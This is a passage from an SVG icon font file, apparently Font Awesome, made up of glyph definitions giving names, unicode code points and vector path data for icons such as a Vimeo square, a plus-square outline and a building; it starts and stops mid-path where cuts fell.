d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
    <glyph glyph-name="_384" unicode="&#xf199;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
t273 -182.5t331.5 -68z" />
    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
    <glyph glyph-name="_389" unicode="&#xf19e;" 
d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_392" unicode="&#xf1a2;" 
d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54
q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83
q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_393" unicode="&#xf1a3;" 
d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150
v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103
t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f1a4" unicode="&#xf1a4;" horiz-adv-x="1920" 
d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328
v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
    <glyph glyph-name="_395" unicode="&#xf1a5;" 
d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="_396" unicode="&#xf1a6;" horiz-adv-x="2048" 
d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123
v-369h123z" />
    <glyph glyph-name="_397" unicode="&#xf1a7;" 
d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101
v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960
q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_398" unicode="&#xf1a8;" horiz-adv-x="2038" 
d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14
q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24
q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33
q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5
t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43
q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5
t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13
t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
    <glyph glyph-name="_399" unicode="&#xf1a9;" 
d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10
q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14
q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14
t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44
q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
    <glyph glyph-name="_400" unicode="&#xf1aa;" 
d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z
M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5
t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5
q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126
t135.5 51q85 0 145 -60.5t60 -145.5z" />
    <glyph glyph-name="f1ab" unicode="&#xf1ab;" 
d="M654 458q-1 -3 -12.5 0.5t-31.5 11.5l-20 9q-44 20 -87 49q-7 5 -41 31.5t-38 28.5q-67 -103 -134 -181q-81 -95 -105 -110q-4 -2 -19.5 -4t-18.5 0q6 4 82 92q21 24 85.5 115t78.5 118q17 30 51 98.5t36 77.5q-8 1 -110 -33q-8 -2 -27.5 -7.5t-34.5 -9.5t-17 -5
q-2 -2 -2 -10.5t-1 -9.5q-5 -10 -31 -15q-23 -7 -47 0q-18 4 -28 21q-4 6 -5 23q6 2 24.5 5t29.5 6q58 16 105 32q100 35 102 35q10 2 43 19.5t44 21.5q9 3 21.5 8t14.5 5.5t6 -0.5q2 -12 -1 -33q0 -2 -12.5 -27t-26.5 -53.5t-17 -33.5q-25 -50 -77 -131l64 -28
q12 -6 74.5 -32t67.5 -28q4 -1 10.5 -25.5t4.5 -30.5zM449 944q3 -15 -4 -28q-12 -23 -50 -38q-30 -12 -60 -12q-26 3 -49 26q-14 15 -18 41l1 3q3 -3 19.5 -5t26.5 0t58 16q36 12 55 14q17 0 21 -17zM1147 815l63 -227l-139 42zM39 15l694 232v1032l-694 -233v-1031z
M1280 332l102 -31l-181 657l-100 31l-216 -536l102 -31l45 110l211 -65zM777 1294l573 -184v380zM1088 -29l158 -13l-54 -160l-40 66q-130 -83 -276 -108q-58 -12 -91 -12h-84q-79 0 -199.5 39t-183.5 85q-8 7 -8 16q0 8 5 13.5t13 5.5q4 0 18 -7.5t30.5 -16.5t20.5 -11
q73 -37 159.5 -61.5t157.5 -24.5q95 0 167 14.5t157 50.5q15 7 30.5 15.5t34 19t28.5 16.5zM1536 1050v-1079l-774 246q-14 -6 -375 -127.5t-368 -121.5q-13 0 -18 13q0 1 -1 3v1078q3 9 4 10q5 6 20 11q107 36 149 50v384l558 -198q2 0 160.5 55t316 108.5t161.5 53.5
q20 0 20 -21v-418z" />
    <glyph glyph-name="_402" unicode="&#xf1ac;" horiz-adv-x="1792" 
d="M288 1152q66 0 113 -47t47 -113v-1088q0 -66 -47 -113t-113 -47h-128q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h128zM1664 989q58 -34 93 -93t35 -128v-768q0 -106 -75 -181t-181 -75h-864q-66 0 -113 47t-47 113v1536q0 40 28 68t68 28h672q40 0 88 -20t76 -48
l152 -152q28 -28 48 -76t20 -88v-163zM928 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM928 512v128q0 14 -9 23
t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1184 256v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128
q14 0 23 9t9 23zM1184 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 0v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 256v128q0 14 -9 23t-23 9h-128
q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1440 512v128q0 14 -9 23t-23 9h-128q-14 0 -23 -9t-9 -23v-128q0 -14 9 -23t23 -9h128q14 0 23 9t9 23zM1536 896v256h-160q-40 0 -68 28t-28 68v160h-640v-512h896z" />
    <glyph glyph-name="_403" unicode="&#xf1ad;" 
d="M1344 1536q26 0 45 -19t19 -45v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280zM512 1248v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 992v-64q0 -14 9 -23t23 -9h64q14 0 23 9
t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 736v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM512 480v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 160v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM384 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM384 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 -96v192q0 14 -9 23t-23 9h-320q-14 0 -23 -9
t-9 -23v-192q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM896 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 928v64
q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM896 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 160v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 928v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9
t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1152 1184v64q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h64q14 0 23 9t9 23z" />
    <glyph glyph-name="_404" unicode="&#xf1ae;" horiz-adv-x="1280" 
d="M1188 988l-292 -292v-824q0 -46 -33 -79t-79 -33t-79 33t-33 79v384h-64v-384q0 -46 -33 -79t-79 -33t-79 33t-33 79v824l-292 292q-28 28 -28 68t28 68q29 28 68.5 28t67.5 -28l228 -228h368l228 228q28 28 68 28t68 -28q28 -29 28 -68.5t-28 -67.5zM864 1152
q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="uniF1B1" unicode="&#xf1b0;" horiz-adv-x="1664" 
d="M780 1064q0 -60 -19 -113.5t-63 -92.5t-105 -39q-76 0 -138 57.5t-92 135.5t-30 151q0 60 19 113.5t63 92.5t105 39q77 0 138.5 -57.5t91.5 -135t30 -151.5zM438 581q0 -80 -42 -139t-119 -59q-76 0 -141.5 55.5t-100.5 133.5t-35 152q0 80 42 139.5t119 59.5
